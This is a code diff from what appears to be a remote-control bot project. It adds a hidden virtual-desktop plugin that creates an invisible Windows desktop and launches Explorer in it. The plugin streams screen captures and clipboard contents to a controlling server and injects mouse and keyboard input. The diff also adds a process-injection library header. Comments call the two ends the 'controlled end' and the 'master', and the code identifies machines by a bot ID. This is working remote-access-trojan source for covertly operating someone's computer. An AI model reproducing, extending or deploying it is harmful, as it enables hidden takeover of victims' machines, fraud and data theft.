HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
if (!hDesk) {
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
}
else {
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
}
if (hDesk) {
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
{
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
}
} else {
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
}
SetThreadDesktop(g_hDesk = hDesk);
}
BYTE* param = (BYTE*)m_ptrUser;
int compress = ALGORITHM_DIFF;
if (param) {
compress = param[1];
delete[] param;
m_ptrUser = NULL;
}
m_ScreenSpyObject = new CScreenHideSpy(32, compress);
}
} // namespace SimplePluginsScreenHide
+21
View File
@@ -0,0 +1,21 @@
#pragma once
#include "Manager.h"
#include "ScreenHideSpy.h"
#include "ScreenManagerBase.h"
namespace SimplePluginsScreenHide {
class CScreenHideManager : public CScreenManagerBase
{
public:
CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL);
virtual ~CScreenHideManager();
void OnUserCommand(PBYTE lpBuffer, ULONG nSize);
virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize);
virtual void InitScreenSpy();
};
} // namespace SimplePluginsScreenHide
+22
View File
@@ -0,0 +1,22 @@
#pragma once
#include "ScreenSpy.h"
namespace SimplePluginsScreenHide {
// 隐私屏幕捕获器。
//
// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链
// (jpeg + CaptureFrame/BMP_JPG/ScanChangedRect),已与 YAMA 重写后的编码器捕获层
// (ScreenCapture::GetNextScreenData + EncoderFactory)分叉,故此处改写为直接继承
// YAMA 的 ::CScreenSpy,仅把 vDesk=TRUE(虚拟桌面)传入基类,捕获/编码全部复用基类。
class CScreenHideSpy : public ::CScreenSpy
{
public:
CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF)
: ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */)
{
}
};
} // namespace SimplePluginsScreenHide
+642
View File
@@ -0,0 +1,642 @@
#pragma once
#include "Manager.h"
#include "ScreenCapture.h"
#include <Shlwapi.h>
#include <ShlObj.h>
#include <tchar.h>
class IOCPClient;
namespace SimplePluginsScreenHide {
class CScreenManagerBase : public CManager {
public: // 构造和析构
CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL,
int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
{
m_DlgToken = token;
g_hDesk = nullptr;
m_DesktopID = GetBotId();
m_ptrUser = user;
m_ScreenSpyObject = nullptr;
m_biBitCount = nBitDepth;
m_fps = 10;
m_bIsWorking = TRUE;
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
m_point = {};
m_lastPoint = {};
m_lmouseDown = FALSE;
m_hResMoveWindow = nullptr;
m_resMoveType = 0;
m_rmouseDown = FALSE;
m_rclickPoint = {};
m_rclickWnd = nullptr;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
SetReady(TRUE);
}
virtual ~CScreenManagerBase() {
m_bIsWorking = FALSE;
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hBlankThread, INFINITE);
CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
SAFE_DELETE(m_ScreenSpyObject);
if (g_hDesk) {
auto b = CloseDesktop(g_hDesk);
g_hDesk = NULL;
Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
}
}
public: // 非纯虚函数
virtual BOOL SendFirstScreen() {
ULONG len = 0;
auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
if (nullptr == data) {
return FALSE;
}
return m_ClientObject->Send2Server((char*)data, 1 + len);
}
virtual bool IsMetricsChange() {
if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
if (m_oldwidth == 0 || m_oldheigh == 0) {
return false;
}
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
return true;
}
return false;
}
virtual void Loop_Screen() {
// 获取分辨率
int _cx = ::GetSystemMetrics(SM_CXSCREEN);
int _cy = ::GetSystemMetrics(SM_CYSCREEN);
// 修改分辨率
DEVMODE lpDevMode;
lpDevMode.dmBitsPerPel = 32;//每个像素的位数
lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素)
lpDevMode.dmPelsHeight = 900;//屏幕高度(像素)
lpDevMode.dmSize = sizeof(lpDevMode);
lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
LONG result = ChangeDisplaySettings(&lpDevMode, 0);
if (result == DISP_CHANGE_SUCCESSFUL) {
ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
}
else {
ChangeDisplaySettings(NULL, 0);
}
}
virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
virtual int GetCurrentPixelBits() { return m_biBitCount; }
virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
}
virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
}
virtual void ResetScreen(int biBitCount = 32) {
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
SAFE_DELETE(m_ScreenSpyObject);
m_biBitCount = biBitCount;
m_bIsWorking = TRUE;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
}
virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
if (!OpenClipboard(NULL))
return;
EmptyClipboard();
HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
if (szClipboardVirtualAddress)
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
GlobalUnlock(hGlobal);
if (NULL == SetClipboardData(CF_TEXT, hGlobal))
GlobalFree(hGlobal);
}
CloseClipboard();
}
virtual VOID SendClientClipboard() {
if (!OpenClipboard(NULL)) //打开剪切板设备
return;
HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存
if (hGlobal == NULL) {
CloseClipboard();
return;
}
int iPacketLength = GlobalSize(hGlobal) + 1;
char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
LPBYTE szBuffer = new BYTE[iPacketLength];
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
GlobalUnlock(hGlobal);
CloseClipboard();
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
delete[] szBuffer;
}
virtual DWORD WorkProcess() {
CScreenManagerBase* This = this;
This->InitScreenSpy();
This->SendBitMapInfo();
if (This->m_bIsWorking)
This->WaitForDialogOpen();
This->SendScreenSize();
clock_t last = clock();
if (!This->SendFirstScreen()) {
Mprintf("Send first screen failed!!!\n");
return 0x20250224;
}
Mprintf("Succeed sending bmpInfo and first screen\n");
float fps = This->m_fps;
const int sleep = 1000 / fps;// 间隔时间(ms)
int c1 = 0; // 连续耗时长的次数
int c2 = 0; // 连续耗时短的次数
int s0 = sleep; // 两帧之间隔(ms)
const int frames = fps; // 每秒调整屏幕发送速度
const double alpha = 1.1; // 控制fps的因子
timeBeginPeriod(1);
while (This->m_bIsWorking) {
ULONG ulNextSendLength = 0;
LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
if (NULL == szBuffer) {
continue;
}
int span = s0 - (clock() - last);
Sleep(span > 0 ? span : 1);
if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
c2 = 0;
if (frames == ++c1) { // 连续一定次数耗时长
s0 = (s0 <= 500) ? s0 * alpha : s0;
c1 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小
c1 = 0;
if (frames == ++c2) { // 连续一定次数耗时短
s0 = (s0 >= 40) ? s0 / alpha : s0;
c2 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength);
}
timeEndPeriod(1);
Mprintf("ScreenWorkThread Exit\n");
return 0;
}
virtual DWORD ControlProcess() {
CScreenManagerBase* pThis = this;
pThis->WaitForDialogOpen();
while (pThis->IsConnect() && pThis->m_bIsWorking) {
// 分辨率大小改变了
if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
pThis->ResetScreen(pThis->GetCurrentPixelBits());
Sleep(2000);
}
Sleep(10);
}
return -1;
}
static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
return pThis->WorkProcess();
}
static DWORD WINAPI ControlThread(LPVOID lparam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
return pThis->ControlProcess();
}
std::wstring ConvertToWString(const std::string& multiByteStr) {
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
if (len == 0) return L""; // 转换失败
std::wstring wideStr(len, L'\0');
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
return wideStr;
}
std::string GetTitle(HWND hWnd) {
char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存)
GetWindowTextA(hWnd, title, sizeof(title));
return title;
}
virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
bool bReturn = false;
try {
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
return false;
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
std::wstring path = ConvertToWString(pszApplicationFilePath);
if (!PathIsExe(path.c_str()))
return false;
PathRemoveFileSpec(szDirectoryName);
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
sInfo.cb = sizeof(sInfo);
sInfo.lpDesktop = pszDesktopName;
//Launching a application into desktop
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
NULL,
NULL,
NULL,
TRUE,
NORMAL_PRIORITY_CLASS,
NULL,
szDirectoryName,
&sInfo,
&pInfo);
CloseHandle(pInfo.hProcess);
CloseHandle(pInfo.hThread);
TCHAR* pszError = NULL;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
if (pszError) {
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
LocalFree(pszError); // 释放内存
}
if (bCreateProcessReturn)
bReturn = true;
}
catch (...) {
bReturn = false;
}
return bReturn;
}
virtual VOID SendBitMapInfo() {
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
LPBYTE szBuffer = new BYTE[ulLength];
szBuffer[0] = m_DlgToken;
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
SAFE_DELETE_ARRAY(szBuffer);
}
virtual void SendScreenSize()
{
RECT rect = m_ScreenSpyObject->GetScreenRect();
BYTE lpBuffer[sizeof(RECT) + 1];
lpBuffer[0] = TOKEN_SCREEN_SIZE;
memcpy(lpBuffer + 1, &rect, sizeof(RECT));
Send(lpBuffer, sizeof(lpBuffer));
}
virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
int msgSize = sizeof(MYMSG);
if (ulLength % 28 == 0) // 32位控制端发过来的消息
msgSize = 28;
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
msgSize = 48;
else return; // 数据包不合法
ULONG ulMsgCount = ulLength / msgSize;
BYTE* ptr = szBuffer;
MSG32 msg32;
MSG64 msg64;
if (nullptr == g_hDesk) {
// 命令个数
// 处理多个命令
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (Msg->message) {
case WM_LBUTTONDOWN: case WM_LBUTTONUP:
case WM_RBUTTONDOWN: case WM_RBUTTONUP:
case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
case WM_MBUTTONDOWN: case WM_MBUTTONUP:
case WM_MOUSEMOVE: {
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
m_ScreenSpyObject->PointConversion(Point);
SetCursorPos(Point.x, Point.y);
SetCapture(WindowFromPoint(Point));
}
break;
default:
break;
}
switch (Msg->message) {
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
break;
case WM_KEYDOWN: case WM_SYSKEYDOWN:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
break;
case WM_KEYUP: case WM_SYSKEYUP:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
} else { // 虚拟桌面
HWND hWnd = NULL;
BOOL mouseMsg = FALSE;
POINT lastPointCopy = {};
SetThreadDesktop(g_hDesk);
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (msg->message) {
case WM_KEYUP:
return;
case WM_CHAR:
case WM_KEYDOWN: {
m_point = m_lastPoint;
hWnd = WindowFromPoint(m_point);
break;
}
case WM_RBUTTONDOWN: {
// 记录右键按下时的坐标
m_rmouseDown = TRUE;
m_rclickPoint = msg->pt;
break;
}
case WM_RBUTTONUP: {
m_rmouseDown = FALSE;
m_rclickWnd = WindowFromPoint(m_rclickPoint);
// 检查是否为系统菜单(如任务栏)
char szClass[256] = { 0 };
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
// 触发系统级右键菜单(任务栏)
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
}
else {
// 普通窗口的右键菜单
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
// 附加:模拟键盘按下Shift+F10(备用菜单触发方式)
keybd_event(VK_SHIFT, 0, 0, 0);
keybd_event(VK_F10, 0, 0, 0);
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
}
}
break;
}
default:
{
mouseMsg = TRUE;
m_point = msg->pt;
hWnd = WindowFromPoint(m_point);
lastPointCopy = m_lastPoint;
m_lastPoint = m_point;
if (msg->message == WM_LBUTTONUP) {
if (m_rclickWnd && hWnd != m_rclickWnd)
{
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
m_rclickWnd = nullptr;
}
m_lmouseDown = FALSE;
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
switch (lResult) {
case HTTRANSPARENT: {
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
break;
}
case HTCLOSE: {// 关闭窗口
PostMessageA(hWnd, WM_CLOSE, 0, 0);
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMINBUTTON: {// 最小化
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMAXBUTTON: {// 最大化
WINDOWPLACEMENT windowPlacement;
windowPlacement.length = sizeof(windowPlacement);
GetWindowPlacement(hWnd, &windowPlacement);
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
else
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
}
}
else if (msg->message == WM_LBUTTONDOWN) {
m_lmouseDown = TRUE;
m_hResMoveWindow = NULL;
RECT startButtonRect;
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
GetWindowRect(hStartButton, &startButtonRect);
if (PtInRect(&startButtonRect, m_point)) {
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
continue;
}
else {
char windowClass[MAX_PATH] = { 0 };
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
if (!lstrcmpA(windowClass, "#32768")) {
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
int itemId = GetMenuItemID(hMenu, itemPos);
PostMessageA(hWnd, 0x1e5, itemPos, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
continue;
}
}
}
else if (msg->message == WM_MOUSEMOVE) {
if (!m_lmouseDown)
continue;
if (!m_hResMoveWindow)
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
else
hWnd = m_hResMoveWindow;
int moveX = lastPointCopy.x - m_point.x;
int moveY = lastPointCopy.y - m_point.y;
RECT rect;
GetWindowRect(hWnd, &rect);
int x = rect.left;
int y = rect.top;
int width = rect.right - rect.left;
int height = rect.bottom - rect.top;
switch (m_resMoveType) {
case HTCAPTION: {
x -= moveX;
y -= moveY;
break;
}
case HTTOP: {
y -= moveY;
height += moveY;
break;
}
case HTBOTTOM: {
height -= moveY;
break;
}
case HTLEFT: {
x -= moveX;
width += moveX;
break;
}
case HTRIGHT: {
width -= moveX;
break;
}
case HTTOPLEFT: {
y -= moveY;
height += moveY;
x -= moveX;
width += moveX;
break;
}
case HTTOPRIGHT: {
y -= moveY;
height += moveY;
width -= moveX;
break;
}
case HTBOTTOMLEFT: {
height -= moveY;
x -= moveX;
width += moveX;
break;
}
case HTBOTTOMRIGHT: {
height -= moveY;
width -= moveX;
break;
}
default:
continue;
}
MoveWindow(hWnd, x, y, width, height, FALSE);
m_hResMoveWindow = hWnd;
continue;
}
break;
}
}
for (HWND currHwnd = hWnd;;) {
hWnd = currHwnd;
ScreenToClient(currHwnd, &m_point);
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
if (!currHwnd || currHwnd == hWnd)
break;
}
if (mouseMsg)
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
}
}
}
public: // 纯虚函数
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
virtual void InitScreenSpy() = 0;
HDESK g_hDesk;
std::string m_DesktopID;
void* m_ptrUser;
ScreenCapture* m_ScreenSpyObject;
BOOL m_bIsWorking;
long m_oldwidth, m_oldheigh;
int m_biBitCount;
int m_fps;
int m_DlgToken; // 这个值决定打开哪个对话框
HANDLE m_hWorkThread, m_hBlankThread;
// 虚拟桌面
POINT m_point;
POINT m_lastPoint;
BOOL m_lmouseDown;
HWND m_hResMoveWindow;
LRESULT m_resMoveType;
BOOL m_rmouseDown; // 标记右键是否按下
POINT m_rclickPoint; // 右键点击坐标
HWND m_rclickWnd; // 右键窗口
};
} // namespace SimplePluginsScreenHide
+6 -2
View File
@@ -495,8 +495,12 @@ BOOL Run(const char* argv1, int argv2, const std::string &runCmd)
} }
do { do {
run(ip, port); run(ip, port);
while (bStop && !bStop() && 0 == status) if (bExit && bExit() != S_SERVER_EXIT) {
Sleep(20); // 受控端退出 / 程序更新:等所有实例(含分享实例)退干净,避免下方 FreeLibrary
// 卸载 DLL 时残留分享实例线程。主控端重启(S_SERVER_EXIT)则立即重连,不等仍存活的分享实例。
while (bStop && !bStop() && 0 == status)
Sleep(20);
}
} while (bExit && !bExit() && 0 == status); } while (bExit && !bExit() && 0 == status);
while (bStop && !bStop() && 1 == status) while (bStop && !bStop() && 1 == status)
+915
View File
@@ -0,0 +1,915 @@
/*
yapi -- Yet Another Process Injector / Your API
A fusion library that reduce differences between x64, wow64 and x86 processes based on rewolf-wow64ext.
Copyright (c) 2010-2018 <http://ez8.co> <orca.zhang@yahoo.com>
This library is released under the MIT License.
Please see LICENSE file or visit https://github.com/ez8-co/yapi for details.
*/
#pragma once
#define WIN32_NO_STATUS
#include <windows.h>
#include <winternl.h>
#include <tchar.h>
#include <vector>
#include <string>
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#include <TlHelp32.h>
namespace detail {
static HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
static HANDLE hCurProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
inline BOOL Is64BitOS()
{
SYSTEM_INFO systemInfo = { 0 };
GetNativeSystemInfo(&systemInfo);
return systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64
|| systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64;
}
static const BOOL is64BitOS = Is64BitOS();
struct GCBase
{
virtual DWORD64 toDWORD64() = 0;
virtual void gc() = 0;
};
struct GCHelper
{
~GCHelper() {
for (size_t i = 0; i < _ptrs.size(); i++) {
_ptrs[i]->gc();
delete _ptrs[i];
}
}
DWORD64 add(GCBase* ptr) { _ptrs.push_back(ptr); return ptr->toDWORD64(); }
private:
std::vector<GCBase*> _ptrs;
};
}
namespace yapi {
typedef std::basic_string<TCHAR, std::char_traits<TCHAR>, std::allocator<TCHAR> > tstring;
#ifndef UNICODE
static std::string _W2T(const wchar_t* wcs)
{
int len = ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, NULL, 0, 0, 0);
std::string ret(len, 0);
assert(0 != ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, &ret[0], len, 0, 0));
ret.resize(len - 1);
return ret;
}
#else
#define _W2T(str) std::wstring(str)
#endif
#define REPEAT_0(macro)
#define REPEAT_1(macro) REPEAT_0(macro)
#define REPEAT_2(macro) REPEAT_1(macro) macro(1)
#define REPEAT_3(macro) REPEAT_2(macro) macro(2)
#define REPEAT_4(macro) REPEAT_3(macro) macro(3)
#define REPEAT_5(macro) REPEAT_4(macro) macro(4)
#define REPEAT_6(macro) REPEAT_5(macro) macro(5)
#define REPEAT_7(macro) REPEAT_6(macro) macro(6)
#define REPEAT_8(macro) REPEAT_7(macro) macro(7)
#define REPEAT_9(macro) REPEAT_8(macro) macro(8)
#define REPEAT_10(macro) REPEAT_9(macro) macro(9)
#define REPEAT_11(macro) REPEAT_10(macro) macro(10)
#define REPEAT_12(macro) REPEAT_11(macro) macro(11)
#define REPEAT_13(macro) REPEAT_12(macro) macro(12)
#define REPEAT_14(macro) REPEAT_13(macro) macro(13)
#define REPEAT_15(macro) REPEAT_14(macro) macro(14)
#define REPEAT_16(macro) REPEAT_15(macro) macro(15)
#define REPEAT_17(macro) REPEAT_16(macro) macro(16)
#define REPEAT_18(macro) REPEAT_17(macro) macro(17)
#define REPEAT_19(macro) REPEAT_18(macro) macro(18)
#define REPEAT_20(macro) REPEAT_19(macro) macro(19)
#define END_MACRO_0(macro)
#define END_MACRO_1(macro) macro(1)
#define END_MACRO_2(macro) macro(2)
#define END_MACRO_3(macro) macro(3)
#define END_MACRO_4(macro) macro(4)
#define END_MACRO_5(macro) macro(5)
#define END_MACRO_6(macro) macro(6)
#define END_MACRO_7(macro) macro(7)
#define END_MACRO_8(macro) macro(8)
#define END_MACRO_9(macro) macro(9)
#define END_MACRO_10(macro) macro(10)
#define END_MACRO_11(macro) macro(11)
#define END_MACRO_12(macro) macro(12)
#define END_MACRO_13(macro) macro(13)
#define END_MACRO_14(macro) macro(14)
#define END_MACRO_15(macro) macro(15)
#define END_MACRO_16(macro) macro(16)
#define END_MACRO_17(macro) macro(17)
#define END_MACRO_18(macro) macro(18)
#define END_MACRO_19(macro) macro(19)
#define END_MACRO_20(macro) macro(20)
#define REPEAT(n, macro, end_macro) REPEAT_##n (macro) END_MACRO_##n(end_macro)
#define __ARG(n) P ## n
#define __PARAM(n) p ## n
#define __ARG_DECL(n) __ARG(n) __PARAM(n)
#define TEMPLATE_ARG(n) typename __ARG(n)
#define VOID_TEMPLATE_ARGS(n) typename __ARG(n),
#define ARG_DECL(n) __ARG_DECL(n) ,
#define END_ARG_DECL(n) __ARG_DECL(n)
#define DECL_VOID_TEMPLATE_ARGS(n) REPEAT(n, VOID_TEMPLATE_ARGS, TEMPLATE_ARG)
#define DECL_PARAMS_LIST(n) REPEAT(n, ARG_DECL, END_ARG_DECL)
namespace {
template <class T>
struct _UNICODE_STRING_T {
union {
struct {
WORD Length;
WORD MaximumLength;
};
T dummy;
};
T Buffer;
};
template <typename T>
struct _LIST_ENTRY_T {
T Flink;
T Blink;
};
template <typename T>
struct _PEB_T {
T dummy01;
T Mutant;
T ImageBaseAddress;
T Ldr;
// omit unused fields
};
typedef _PEB_T<DWORD> PEB32;
typedef _PEB_T<DWORD64> PEB64;
typedef struct _PROCESS_BASIC_INFORMATION32 {
NTSTATUS ExitStatus;
UINT32 PebBaseAddress;
UINT32 AffinityMask;
UINT32 BasePriority;
UINT32 UniqueProcessId;
UINT32 InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION32;
typedef struct _PROCESS_BASIC_INFORMATION64 {
NTSTATUS ExitStatus;
UINT32 Reserved0;
UINT64 PebBaseAddress;
UINT64 AffinityMask;
UINT32 BasePriority;
UINT32 Reserved1;
UINT64 UniqueProcessId;
UINT64 InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION64;
template <class T>
struct _PEB_LDR_DATA_T {
DWORD Length;
DWORD Initialized;
T SsHandle;
_LIST_ENTRY_T<T> InLoadOrderModuleList;
// omit unused fields
};
typedef _PEB_LDR_DATA_T<DWORD> PEB_LDR_DATA32;
typedef _PEB_LDR_DATA_T<DWORD64> PEB_LDR_DATA64;
template <class T>
struct _LDR_DATA_TABLE_ENTRY_T {
_LIST_ENTRY_T<T> InLoadOrderLinks;
